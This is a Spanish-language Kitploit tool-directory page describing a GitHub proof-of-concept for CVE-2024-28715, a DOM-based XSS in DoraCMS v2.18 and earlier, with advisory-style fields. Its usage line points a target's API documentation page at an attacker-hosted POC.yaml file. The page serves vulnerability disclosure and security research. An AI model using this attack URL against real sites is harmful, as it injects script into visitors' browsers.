Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-28715 — Prueba de concepto de exploit para CVE-2024-28715, una vulnerabilidad XSS basada en DOM en DoraCMS v2.18 y versiones anteriores, activada mediante la función markdown0 en el endpoint de documentación de la API. | Kitploit
Herramientas/GitHubGitHub/lq0ne/cve-2024-28715
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHublq0ne/cve-2024-28715

CVE-2024-28715

Prueba de concepto de exploit para CVE-2024-28715, una vulnerabilidad XSS basada en DOM en DoraCMS v2.18 y versiones anteriores, activada mediante la función markdown0 en el endpoint de documentación de la API.

Ver Repositorio
2hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-28715

[ID de CVE]

CVE-2024-28715

[PRODUCTO]

DoraCMS

[Versión]

DoraCMS v2.18 y anteriores

[TIPO DE PROBLEMA]

XSS basado en DOM.

[DESCRIPCIÓN]

Vulnerabilidad de Cross-Site Scripting (XSS) en DOraCMS v2.18 y anteriores permite a un atacante remoto ejecutar código arbitrario a través de la función markdown0 en el endpoint /app/public/apidoc/oas3/wrap-components/markdown.jsx.

[Uso]

https://[target-site]/static/apidoc/index.html?url=https://[your-site]/POC.yaml

Descargar herramienta